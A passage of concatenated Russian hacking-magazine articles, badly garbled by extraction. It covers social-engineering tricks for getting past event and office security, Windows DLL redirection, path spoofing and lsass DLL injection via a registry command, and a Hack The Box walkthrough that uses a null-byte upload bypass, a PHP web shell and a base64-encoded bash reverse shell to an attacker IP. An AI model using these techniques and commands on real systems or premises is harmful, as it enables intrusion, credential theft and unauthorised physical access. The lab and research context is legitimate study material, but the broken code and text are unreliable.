как они добыва ют ори гиналь ную уни фор му для про ник новения на объ ект.

в этом видео

ÌÅÐÎÏÐÈßÒÈß

Ме роп риятия — это отличный повод поз накомить ся с жер твой или целой
груп пой жертв (нап ример, на кор порати ве орга низа ции). Рас смот рим некото- 
рые при емы и при меры экс плу ата ции это го век тора атак.

Äâóõäíåâíîå ìåðîïðèÿòèå
За бытые где-нибудь бей джи ки с пер вого дня, явля ющиеся про пус ками
при вхо де, — неред кое явле ние. На сво ем собс твен ном опы те я неод нократ- 
но сумел убе дить ся, что на вто рые сут ки мероп риятия верифи кация вхо дящих
была не такая стро гая, как в пер вый день. Прос то понаб людай, что про исхо- 
дит на про ход ной.

На вто рой день, наз вав свое имя в качес тве учас тни ка, ты получишь копию
«потерян ного» бей джи ка и смо жешь прой ти внутрь перимет ра. То же самое
мож но про вер нуть и на пер вый день, под слу шав дан ные о регис тра ции
от дру гого регис три руемо го и потом ска зав дру гому регис тра тору, что ты
потерял про пуск учас тни ка. Или сооб щить, что во вре мя переры ва ты сидел
с кол легой в машине, а он уехал с бей джи ком.

Îðãàíèçîâàë íà ñâîþ ãîëîâó
Ес ли жер тва орга низо выва ет мероп риятие на сво ей тер ритории, то
за периметр мож но попасть гораз до про ще. Мониторь соци аль ные сети
и офи циаль ный сайт орга низа ции и регис три руй ся в спис ке учас тни ков. Ну
или не регис три руй ся, если это дорого сто ит, и при меняй соци аль ную инже- 
нерию, что бы попасть внутрь. Заод но про ведешь пен тест охра ны кор- 
поратив ного мероп риятия. Я знаю, что некото рые безопас ники орга низа ций
так и дела ют, ког да «забыва ют» билет в машине, а попасть на мероп риятие
очень хочет ся.

Êîíôåðåíöèè, âûñòàâêè è ôîðóìû
Ес ли ты зна ешь, что жер тва будет на каком-то мероп риятии, — это хороший
спо соб поз накомить ся с ней вжи вую или как минимум надеть фут болку и кеп- 
ку, при кинуть ся про моуте ром и раз давать на вхо де USB-устрой ства. Толь ко
не све тись перед сот рудни ками орга низа тора, ты ведь не опла тил ком- 
мерчес кое учас тие в мероп риятии.

Êîðïîðàòèâ
Пе ред Новым годом или в рам ках локаль ных праз дни ков орга низа ции, круп- 
ные и не очень ком пании устра ивают кор порати вы. Если обыч ное мес то их
работы пред став ляет Форт-Нокс с биомет рией, снай перами по перимет ру
и «неуго вари ваемой» охра ной, то может так получить ся, что в арен дован ном
бан кетном зале не будет таких мер безопас ности, а раз горячен ные шам пан- 
ским сот рудни ки потеря ют бди тель ность и с радостью с тобой пооб щают ся.
Можешь при кинуть ся нович ком, ста жером, сот рудни ком служ бы ИБ, да кем
угод но, все зависит лишь от выб ранной жер твы и сце нария.

Ïðèøåë ê îäíèì, ïîøåë ê äðóãèì
Ес ли тебя инте ресу ет само зда ние ком пании, а на тер ритории это го зда ния
про водит мероп риятие какая-то дру гая орга низа ция, то это может сыг рать
на руку. Ты про ходишь через пер вый кор дон охра ны и даль ше можешь нап- 
равлять ся на тер риторию инте ресу ющей тебя фир мы. Так я гулял по раз ным
эта жам орга низа ции, в то вре мя как мероп риятие про ходи ло на пер вом.

Ес ли ты про водил пен тест с исполь зовани ем соци аль ной инже нерии
в реаль ной жиз ни и готов «спа лить связ ку», напиши его сюжет в ком мента- 
риях или прос то поделись слу чаем из жиз ни, ког да ты наб людал работу пен- 
тесте ров или Red Team в сво ей орга низа ции. Кажет ся, что такие слу чаи будут
луч шим допол нени ем к статье, пос коль ку в рунете исполь зование
офлайн-методик соци аль ной инже нерии рас кры то недос таточ но, а пен тестов
про водит ся мно го.

https://xakep.ru/2024/01/19/osint-book/
https://youtu.be/jksOir0WGM8?feature=shared&t=15
https://youtu.be/NiEMcjSQOzg?feature=shared&t=22
https://fb.watch/99oE3-jzLR/
https://www.youtube.com/watch?v=u0s_5pUaVts
https://www.youtube.com/watch?v=EIdLUOWJNZM
https://youtu.be/DEMQEvmFKMQ?feature=shared&t=3336
https://youtu.be/MdQas_We_kI?feature=shared&t=383
https://www.youtube.com/watch?v=wxuYd8XUqmY
https://www.youtube.com/watch?v=NsAo0HLiWR8
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ВЗЛОМ

Внут ри Windows кро ется огромное количес- 
тво инте рес ных и неоче вид ных воз можнос- 
тей. В этой статье я покажу, как зас тавить
опе раци онку заг рузить нашу биб лиоте ку
в любой про цесс!

Од на из самых популяр ных атак, нап равлен ных на повыше ние при виле- 
гий, — это DLL Hijacking. Что бы ее про вес ти, ата кующий помеща ет свою вре- 
донос ную биб лиоте ку на пути поис ка легитим ной DLL. Это при водит к тому,
что целевое при ложе ние под гру жает сто рон нюю либу и выпол няет вре донос- 
ный код.

На пер вый взгляд такая ата ка кажет ся очень прос той. Я бы даже ска зал —
при митив ной. Тем не менее сущес тву ет нес коль ко под водных кам ней,
которые час то упус кают из вида ата кующие.

Во-пер вых, мно гие забыва ют сде лать DLL Proxying до целевой биб лиоте- 
ки, что при водит к полом ке все го при ложе ния. Оно кра шит ся, так как пыта- 
ется выз вать фун кцию из биб лиоте ки, в которой нуж ного кода нет.

Во-вто рых, иног да вызов фун кций вро де , 

 и  помеща ют в фун кцию , что при водит к дед локу
(Dead Lock) из-за механиз ма Loader Lock. Loader Lock выс тупа ет в качес тве
кри тичес кой сек ции (при митив син хро низа ции потоков про цес са). Фак тичес- 
ки выпол нение потока прог раммы бло киру ется до момен та сня тия Loader
Lock.

LoadLibrary() CreateProcess(
) CreateThread() DllMain()

WWW

Под робнее о Loader Lock — в бло ге Elliot
on Security: , 

.
Perfect DLL Hĳacking What is Loader

Lock

В-треть их, сущес тву ют некото рые фак торы, вли яющие на порядок поис ка
DLL. Стан дар тные пути поис ка изоб ражены ниже.

Где Windows ищет DLL

Это так называ емый . Если он отклю чен, то пос ле
 фун кция  смот рит 

. Отклю чить  мож но, выс тавив в ноль зна чение

по это му пути:

SafeDllSearchMode
Application Directory LoadLibrary*() Current 
Directory SafeDllSearchMode

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\
SafeDllSearchMode 

Еще один фак тор, вли яющий на поиск, — это фун кция , выз- 

ванная со зна чени ем . В таком слу чае пер- 
вым делом DLL ищут ся по пути, ука зан ному внут ри этой фун кции.

LoadLibraryEx()
LOAD_WITH_ALTERED_SEARCH_PATH

По мимо про чего, сущес тву ют встро енные механиз мы Windows, которые
поз воля ют внед рить нашу биб лиоте ку в целевой про цесс. В 

 есть упо мина ние некото рых из них. Давай изу чим их под робнее.
до кумен тации

Microsoft

DLL REDIRECTION

Äëÿ îáû÷íûõ èñïîëíÿåìûõ ôàéëîâ
DLL Redirection — спе циаль ный механизм, поз воля ющий прог раммам
исполь зовать раз ные вер сии DLL для сво их задач, при чем не зат рагивая
обыч ные сис темные биб лиоте ки. Дей ствие рас простра няет ся толь ко на фун- 
кции .LoadLibrary*()

Фак тичес ки, незави симо от того, ука зан ли в ней пол ный путь (

) или корот кий ( ), фун кция про верит,
при сутс тву ет ли в текущей дирек тории (в которой находит ся при ложе ние,
выз вавшее эту фун кцию) файл с рас ширени ем .local. И если при сутс тву ет, то
фун кция  в любом слу чае заг рузит в пер вую оче редь DLL
из текущей дирек тории при ложе ния.

C:\
Windows\System32\dll.dll dll.dll

LoadLibrary*()

Наз вание фай ла .local дол жно быть таким же, как и наз вание про цес са,
из которо го выз вана фун кция . Нап ример, если при ложе ние —

, то имя фай ла дол жно быть .
LoadLibrary()

Editor.exe Editor.exe.local
Пред ста вим, что этот самый  попыта ется через

 заг рузить какую-нибудь либу. Нап ример, такую:

C:\myapp\Editor.exe
LoadLibrary*()

C:\Program Files\Common Files\System\mydll.dll 

Тог да  про верит сущес тво вание фай ла 
в дирек тории, где лежит . Если файл .local най дет ся, то фун кция

попыта ется сна чала заг рузить  из текущей дирек тории.

LoadLibrary*() Editor.exe.local
Editor.exe

mydll.dll
То есть сна чала про веря ется этот путь:

C:\myapp\mydll.dll 

И если такого фай ла нет, то заг рузит ся по ука зан ному пол ному пути:

C:\Program Files\Common Files\System\mydll.dll 

Са мое инте рес ное: мы можем соз дать не толь ко файл ,
но и пап ку с таким наз вани ем, потому что содер жимое фай ла .local 

. В таком слу чае DLL будет под гру жена по сле дующе му пути:

Editor.exe.local
íå ïðî- 

âåðÿ åòñÿ

C:\myapp\myapp.exe.local\mydll.dll 

Итак, прис тупим к написа нию PoC. Во-пер вых, нам нуж но целевое при ложе- 
ние, которое будет под гру жать биб лиоте ку с ука зани ем пол ного пути.

На зовем это при ложе ние .Article.exe

#include <Windows.h>
#include <iostream>

  int main() {
   LoadLibraryW(L"C:\\Users\\Michael\\Desktop\\Redir.dll");
    char a;
     std::cin >> a;
    return 0;
}

В качес тве легитим ной биб лиоте ки ском пилиру ем сле дующий код и назовем
.Redir.dll

#include "pch.h"

    BOOL APIENTRY DllMain( HMODULE hModule,
                        DWORD ul_reason_for_call,
                       LPVOID lpReserved

                    )
{
    switch (ul_reason_for_call)
   {
    case DLL_PROCESS_ATTACH:

          MessageBox(NULL, L"HI FROM LEGIT", L"HI FROM LEGIT", MB_OK);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
       break;
   }
    return TRUE;
}

Пос ле ком пиляции перене сем в пап ку  биб- 

лиоте ку . Про верим, что она успешно запус кает ся и выпол няет ся.

C:\Users\Michael\Desktop
Redir.dll

Ус пешная под груз ка легитим ной биб лиоте ки

Кор рек тный путь

Те перь изме ним код  на сле дующий.Redir.dll

#include "pch.h"

    BOOL APIENTRY DllMain( HMODULE hModule,
                        DWORD ul_reason_for_call,
                       LPVOID lpReserved

                    )
{
    switch (ul_reason_for_call)
   {
    case DLL_PROCESS_ATTACH:

          MessageBox(NULL, L"HI FROM FAKE", L"HI FROM FAKE", MB_OK);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
       break;
   }
    return TRUE;
}

Ском пилиру ем его и соз дадим в пап ке с  файл 

.

Article.exe Article.exe.
local

Вклю чение DLL Redirection

Те перь запус тим исполня емый файл и убе дим ся, что биб лиоте ка дей стви- 
тель но заг ружа ется из текущей дирек тории при ложе ния, а не по пол ному
пути.

Ус пешная работа DLL Redirection

Убеж даем ся, что заг ружена нуж ная биб лиоте ка

Ес ли уда лить файл .local, то вновь будет заг ружать ся нуж ная биб лиоте ка.

Заг рузка легитим ной биб лиоте ки

Ñáîðêè .NET
Для сбо рок .NET все чуточ ку про ще. Нам нуж но соз дать файл  либо
отре дак тировать сущес тву ющий, добавив в него зависи мость от кон крет ной
биб лиоте ки. Вот при мер кон фигура цион ного фай ла.

.manifest

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
  <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion=

"1.0">
<assemblyIdentity
version="6.0.0.0"
processorArchitecture="x86"
name="redirector"
type="win32"
/>
<description>DLL Redirection</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="X86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
   <file
   name="user32.dll"
   />
</assembly>

В дан ном слу чае мы с помощью атри бута  ука зыва ем, что целевая сбор- 

ка зависит от . Пос ле чего файл нуж но сох ранить с наз вани ем

, где  — имя при ложе ния, в которое дол- 
жна под гру зить ся биб лиоте ка.

name
user32.dll

program.exe.manifest program.exe

Это при ведет к тому, что  будет под гру жать ся из той дирек- 

тории, отку да запус кает ся при ложе ние.

user32.dll

Продолжение статьи →

https://t.me/Michaelzhm
https://elliotonsecurity.com/perfect-dll-hijacking/
https://elliotonsecurity.com/what-is-loader-lock/
https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching


РЕДИРЕКТ
СО СПУФИНГОМ

ИЩЕМ В WINDOWS ЛАЗЕЙКИ ДЛЯ
ИСПОЛНЕНИЯ СТОРОННЕГО КОДА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

IMAGE PATH NAME SPOOFING

Òåîðèÿ
Ата ка зак люча ется в том, что мы можем исполь зовать фун кции  и обма- 

нуть при ложе ние, зас тавив его думать, что оно запус кает ся из дру гой дирек- 
тории. Нап ример, при ложе ние лежит в , а мы

ска жем, что в . Как следс твие,  будет гру зить биб- 

лиоте ки из .

Rtl*

C:\Windows\System32\abc.exe
C:\Users\abc.exe abc.exe

C:\Users
Все осно вано на фун кци ях 

и . Windows (а так же плат форма CLR) будет искать

биб лиоте ки (либо сбор ки .NET в слу чае CLR) по пути, ука зан ному в эле мен те
 струк туры . Эту струк туру

генери рует фун кция . Запущен ный про- 

цесс, в свою оче редь, будет пар сить эту струк туру и извле чет из нее
. И, как следс твие, рас кро ет текущую дирек торию, которая

в дей стви тель нос ти спуф нута.

RtlCreateProcessParametersEx()
RtlCreateUserProcess()

ImagePathName RTL_USER_PROCESS_PARAMETERS
RtlCreateProcessParametersEx()

ImagePathName

Ðåàëèçàöèÿ
Фун кция  выг лядит вот так.RtlCreateProcessParametersEx()

   typedef NTSTATUS (NTAPI *_RtlCreateProcessParametersEx)(
     _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
     _In_ PUNICODE_STRING ImagePathName,
     _In_opt_ PUNICODE_STRING DllPath,
     _In_opt_ PUNICODE_STRING CurrentDirectory,
     _In_opt_ PUNICODE_STRING CommandLine,
     _In_opt_ PVOID Environment,
     _In_opt_ PUNICODE_STRING WindowTitle,
     _In_opt_ PUNICODE_STRING DesktopInfo,
     _In_opt_ PUNICODE_STRING ShellInfo,
     _In_opt_ PUNICODE_STRING RuntimeData,
     _In_ ULONG Flags
);

Собс твен но, эта фун кция запол няет струк туру
.RTL_USER_PROCESS_PARAMETERS

  typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;

    ULONG Flags;
    ULONG DebugFlags;

    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;

    CURDIR CurrentDirectory;
    UNICODE_STRING DllPath;
     UNICODE_STRING ImagePathName; // Вот это будем спуфать
    UNICODE_STRING CommandLine;
    PVOID Environment;

    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;

    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
    RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]
;

    ULONG EnvironmentSize;
    ULONG EnvironmentVersion;
    PVOID PackageDependencyData;
    ULONG ProcessGroupId;
  } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

Имен но эта струк тура будет переда вать ся в фун кцию
.RtlCreateUserProcess()

   typedef NTSTATUS (NTAPI *_RtlCreateUserProcess)(
     _In_ PUNICODE_STRING NtImagePathName,
     _In_ ULONG AttributesDeprecated,
     _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
     _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
     _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
     _In_opt_ HANDLE ParentProcess,
     _In_ BOOLEAN InheritHandles,
     _In_opt_ HANDLE DebugPort,
     _In_opt_ HANDLE TokenHandle,
     _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation
);

Эта ата ка не сра бота ет, если при ложе ние под гру жает целевую биб лиоте ку
с ука зани ем пол ного пути. Я пытал ся сов местить эту ата ку с DLL Redirection
с соз дани ем фай ла .local, но безус пешно.

Вер немся к нашему экспе римен ту. Чуть-чуть поп равим файл ,

что бы он заг ружал биб лиоте ку без ука зания пол ного пути.

Article.exe

#include <Windows.h>
#include <iostream>

  int main() {
   LoadLibraryW(L"Redir.dll");
    char a;
     std::cin >> a;
    return 0;
}

В соот ветс твии с поряд ком поис ка DLL Windows в пер вую оче редь будет
пытать ся най ти  в текущей дирек тории при ложе ния. Здесь-то мы

его и пой маем!

Redir.dll

Убе дим ся в работос пособ ности при ложе ния.

За пуск из Desktop — под груз ка биб лиоте ки из Desktop

За пуск из дру гой пап ки — под груз ка фей ковой DLL

Те перь уда ляем  из пап ки с фей ковой DLL и начина ем писать

заг рузчик. Назовем его .

Article.exe
PathSpoof.exe

Я не смог най ти ссыл ку на gists, но этот код я ког да-то ста щил у ува жаемо- 
го . Пред лагаю толь ко нес коль ко поп равить исходник, изме нив
с уче том наших целей.

snovvcrash

 UNICODE_STRING spoofedImagePathName;
  

 
spoofedImagePathName.pBuffer = (PWSTR)L"\\??\\A:\\SSD\\ProjectsVS\\
Article\\x64\\Debug\\Article.exe"; //Где реально должно запуститься 
приложение

    
 

for (spoofedImagePathName.Length = 0; spoofedImagePathName.pBuffer[
spoofedImagePathName.Length]; spoofedImagePathName.Length++);

    spoofedImagePathName.Length = spoofedImagePathName.Length * sizeof(
WCHAR);

    spoofedImagePathName.MaximumLength = spoofedImagePathName.Length +
sizeof(UNICODE_NULL);

 UNICODE_STRING currentDirectory;
  currentDirectory.pBuffer = (PWSTR)L"C:\\Windows\\System32\";

for (currentDirectory.Length = 0; currentDirectory.pBuffer[
currentDirectory.Length]; currentDirectory.Length++);
currentDirectory.Length = currentDirectory.Length * sizeof(WCHAR);
currentDirectory.MaximumLength = currentDirectory.Length + sizeof(
UNICODE_NULL);

UNICODE_STRING commandLine;
commandLine.pBuffer = (PWSTR)L"C:\\Windows\\System32\";
for (commandLine.Length = 0; commandLine.pBuffer[commandLine.
Length]; commandLine.Length++);
commandLine.Length = commandLine.Length * sizeof(WCHAR);
commandLine.MaximumLength = commandLine.Length + sizeof(UNICODE_NULL)
;

UNICODE_STRING imagePathName;
imagePathName.pBuffer = (PWSTR)L"\\??\\C:\\Users\\Michael\\Desktop\\
Article.exe"; // Путь к приложению, которое должно быть спуфнуто
for (imagePathName.Length = 0; imagePathName.pBuffer[imagePathName.
Length]; imagePathName.Length++);
imagePathName.Length = imagePathName.Length * sizeof(WCHAR);
imagePathName.MaximumLength = imagePathName.Length + sizeof(
UNICODE_NULL);

Пол ный код пред став лен .в моем репози тории
За пус каем  и видим успешную под груз ку биб лиоте ки.PathSpoof.exe

Image Path Spoong в дей ствии

До каза тель ство из Process Hacker

WINSXS

Ме ханизм WinSxS (Windows Side By Side) слу жит для хра нения раз ных вер сий
важ ных сис темных фай лов. Пос ле обновле ния Windows в пап ку 

 пада ют прош лые вер сии вся ких прог рам мных ком понен тов. Это поз- 
воля ет в слу чае сбоя отка тить ся назад и вер нуть сис тему к жиз ни.

C:\Windows\
WinSxS

Ис сле дова тели из  обна ружи ли, что в пап ку WinSxS попада ют
ехе-при ложе ния, уяз вимые к ата ке DLL Hijacking. Дело в том, что порядок
поис ка биб лиотек у этих при ложе ний сле дующий:

Security Joes

1. Пап ка, в которой лежит .ехе.
2. .C:\Windows\System32

3. .C:\Windows\System

4. .C:\Windows

5. Те кущая пап ка.

И имен но на пятом шаге иссле дова тели ловили при ложе ния из WinSxS, пыта- 
ющиеся под гру зить биб лиоте ку из их текущей дирек тории. Алго ритм обна- 
руже ния донель зя прост:

за пус каем ;• cmd.exe

за ходим в ;• C:\Users\<currentuser>\Desktop

за пус каем при ложе ние WinSxS.•

Ес ли при ложе ние уяз вимо, то оно порыс кает в пап ках из 1–4-го шагов,
а потом при дет в , что бы най ти целевую

биб лиоте ку. Здесь-то с помощью Process Monitor его и пой мают!

C:\Users\<currentuser>\Desktop

В ходе  наш лось мно жес тво уяз вимых при ложе ний.ре сер ча

Уяз вимые при ложе ния

Ты можешь и сам искать подоб ные дыр ки, исполь зуя тот же Process Monitor
или .DLLHSC

К сло ву, в ходе одно го из про ектов по пен тесту мне уда лось подоб ным
обра зом про экс плу ати ровать WinSxS, но там сра бота ло нес коль ко усло вий:

це левое при ложе ние было сбор кой .NET;•
нуж но было реали зовать MITRE T1574 Hijack Execution Flow.•

По это му я при бег нул к так тике с AppDomain Manager Injection.

WWW

•AppDomain Manager Injection: New Techniques
For Red Teams

•Let’s turn Any .NET Application into an LOL Bin
•AppDomainManager Injection and Detection

Пред положим, что целевое при ложе ние называ лось  (наз- 

вание изме нено, в моем слу чае был кас томный софт кли ента), поэто му я соз- 
дал файл , ука зав сле дующее содер жимое.

NetConfigLdr.exe

NetConfigLdr.exe.config

<configuration>
  <runtime>

      <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
         <probing privatePath="C:\Windows\WinSxS"/>

     </assemblyBinding>
 

 
     <appDomainManagerAssembly value="AppDomInject, Version=0.0.0.
0, Culture=neutral, PublicKeyToken=null" />

       <appDomainManagerType value="MyAppDomainManager" />
  </runtime>
</configuration>

Этот файл лежал рядом с , рав но как и биб лиоте ка

. Это поз волило реали зовать MITRE и про экс плу ати ровать
файл из WinSxS.

NetConfigLdr.exe
AppDomInject.dll

Кста ти, если ты еще не забыл про Image Path Name Spoong, то
AppDomain Injection получит ся сов мещать с таким спу фин гом. Это под робно
опи сано в иссле дова нии у .Rapid7

SVCHOST.EXE

От дель но я хочу упо мянуть инжект в  (то есть внед рение в любую

служ бу). Сам по себе  — один из мно жес тва слу жеб ных про цес- 
сов. Он может под гру жать DLL-файл служ бы, взяв путь из записи реес тра
со зна чени ем .

svchost.exe
svchost.exe

ServiceDll
Нап ример, для служ бы  есть файл , он находит ся

в . Этот путь про писан внут ри зна чения 
вот здесь:

TermSrv termsrv.dll
%SystemRoot%\System32\ ServiceDll

HKLM\System\CurrentControlSet\services\TermService\Parameters\ 

Так мы можем под менить саму DLL или зна чение в реес тре, что при ведет
к под груз ке сто рон ней биб лиоте ки при переза пус ке служ бы.

Зна чение ServiceDll

LSASS DRIVER

Су щес тву ет недоку мен тирован ное зна чение реес тра, в которое мож но
засунуть биб лиоте ку, и она будет заг ружена в про цесс .lsass.exe

# PowerShell
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS 
-Name LsaDbExtPt -Value "c:\windows\system32\1.dll"

# Очистка
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\
NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null

# Можно даже указать удаленную либу
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS 
-Name LsaDbExtPt -Value "\\share\lulz\lsass_lib.dll"

При чем есть даже , поз воля ющий хук нуть фун кцию
 и извле кать учет ные дан ные поль зовате лей.

PoC
SpAcceptCredentials()

ÂÛÂÎÄÛ

У Windows есть необыч ные воз можнос ти, которы ми иног да поль зуют ся и ата- 
кующие. Конеч но, порой про ще наг ло влезть в адресное прос транс тво про- 
цес са, записать туда бай ты DLL-биб лиоте ки и дер нуть 

, но это далеко не панацея. В кон це кон цов, зна ешь боль ше спо собов —

креп че спишь (и быс трее зак рыва ешь про екты)!

CreateRemoteThread(
)

https://xakep.ru/author/snovvcrash/
https://gist.github.com/MzHmO/ca3cf3f28c924a9485c5d6d0c933dd47
https://www.securityjoes.com/
https://www.securityjoes.com/post/hide-and-seek-in-windows-closet-unmasking-the-winsxs-hijacking-hideout
https://github.com/ctxis/DLLHSC/tree/master
https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/
https://gist.github.com/djhohnstein/afb93a114b848e16facf0b98cd7cb57b
https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/
https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/
https://github.com/oxfemale/LogonCredentialsSteal
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ВЗЛОМ

Се год ня я покажу инте рес ную уяз вимость
при заг рузке фай ла на сер вер. Мы исполь- 
зуем трюк с нулевым бай том, что поз волит
обой ти филь тра цию по рас ширению фай ла.
Затем для повыше ния при виле гий соз- 
дадим и заг рузим собс твен ную биб лиоте ку
для Linux.

На ша цель — зах ват рута на тре ниро воч ной машине Zipping с пло щад ки 
. Уро вень ее слож ности — сред ний.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.229   zipping.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел два откры тых пор та:
22 — служ ба OpenSSH 9.0p1;•
80 — веб-сер вер Apache 2.4.54.•

Да вай пос мотрим, что нам покажет веб-сер вер.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Гу ляя по стра ницам сай та, находим фор му заг рузки фай лов, а это потен- 
циаль ная точ ка вхо да.

Стра ница upload.php

На стра нице нам сооб щают, что сер вер ожи дает заг рузку ZIP-архи ва с фай- 
лом в фор мате PDF. При заг рузке такого архи ва получа ем ссыл ку на заг- 
ружен ный файл.

Ре зуль тат заг рузки фай ла

Заг рузить что-то иное не выш ло. Неуда чей окан чива ется и заг рузка архи ва,
содер жащего файл в дру гом фор мате.

Ошиб ка заг рузки фай ла

Ин терес но, как веб-сер вер понима ет, что архив содер жит имен но PDF. Опре- 
делять мож но по по сиг натуре либо по рас ширению фай ла.

Зап рос с заг рузкой фай ла в Burp Proxy

Что бы опре делить спо соб филь тра ции, соз дадим обыч ный тек сто вый файл,
но выс тавим рас ширение .pdf. Файл успешно заг ружа ется, зна чит, филь тра- 
ция про исхо дит по рас ширению.

Ре зуль тат заг рузки фай ла

На ша цель — заг рузить файл, который смог бы исполнять ся веб-сер вером,
нап ример скрипт на PHP. Мы мог ли бы зап росить его и выпол нить содер- 
жимое. Что бы сер вер пра виль но его рас познал, обя затель но задать рас- 
ширение .php, но оно не прой дет мимо филь тра. Что делать?

В таких слу чаях помога ет трюк с null-бай том. Его смысл зак люча ется вот
в чем. Меж ду дву мя рас ширени ями фай ла встав ляет ся null-байт. Нап ример,
можем наз вать файл . При про вер ке рас ширения сер вер

про чита ет конец стро ки и решит, что это тек сто вый файл. Но при заг рузке
фай ла на сер вер стро ка пос ле нулево го бай та будет отбро шена, файл сох- 
ранит ся с рас ширени ем .php, и мы смо жем его запус тить.

test.php%00.txt

Итак, давай соз дадим и заар хивиру ем файл  (соз дать файл

сра зу с null-бай том фай ловая ОС нам не поз волит). Отпра вив зап рос, про- 
веря ем его в . Здесь лег ко выб рать отправ ленный файл

и прос мотреть через Inspector.

test.txt-.pdf

Burp Repeater

Зап рос в Burp Repeater

В обе их стро ках  заменим сим вол  бай том , сох раним

изме нен ные дан ные и выпол ним зап рос.

test.txt-.pdf - \0

Burp Inspector

От вет сер вера

Су дя по сооб щению, файл успешно заг ружен, но при попыт ке прос мотреть
его что-то идет не так.

Ре зуль тат зап роса к заг ружен ному фай лу

Да вай поп робу ем заменить сим вол  бай том  толь ко во вто ром слу чае
и пов торим заг рузку фай ла.

- \0

Burp Inspector

Те перь при обра щении к фай лу  на сер вере получа ем его содер- 

жимое.

test.txt

Ре зуль тат зап роса к заг ружен ному фай лу

Мы наш ли спо соб обхо да про вер ки и можем залить на сер вер веб-шелл.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


HTB ZIPPING
ИСПОЛЬЗУЕМ ИНЪЕКЦИЮ

НУЛЕВОГО БАЙТА В ZIP-АРХИВЕ,
ЧТОБЫ ЗАГРУЗИТЬ ШЕЛЛ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Бу дем исполь зовать прос тей ший шелл на PHP:

  <?php system($_GET["c"]); ?>

Burp Inspector

Ре зуль тат заг рузки фай ла

Ког да файл заг ружен, обра щаем ся к шел лу и выпол няем коман ду , что бы
про верить, что все работа ет.

id

curl 'http://zipping.htb/uploads/633fe181aa160051ec44d0d1f2dfa3c6/s.
php?c=id'

Ре зуль тат выпол нения коман ды id

Мы про били сер вер, но работать с таким шел лом неудоб но. Давай получим
более ста биль ную обо лоч ку. В качес тве лис тенера будем исполь зовать очень
удоб ный :pwncat-cs

pwncat-cs -lp 4321 

Вот под ходящий реверс-шелл на Bash:

bash  -i >& /dev/tcp/10.10.16.11/4321 0>&1 

Од нако прос то передать его как параметр через адресную стро ку у нас
не получит ся, поэто му закоди руем реверс-шелл в Base64, а потом запус тим
на уда лен ном сер вере, исполь зуя вот такой кон вей ер команд:

 echo <base64_reverse_shell> | base64 -d | bash 

По луча ется вот такой зап рос:

curl 'http://zipping.htb/uploads/633fe181aa160051ec44d0d1f2dfa3c6/s.
php?
c=echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTEvNDMyMSAwPiYx%20|%20b
ase64%20-d%20|%20bash'

Флаг поль зовате ля

Так мы получа ем ста биль ную сес сию и пер вый флаг.

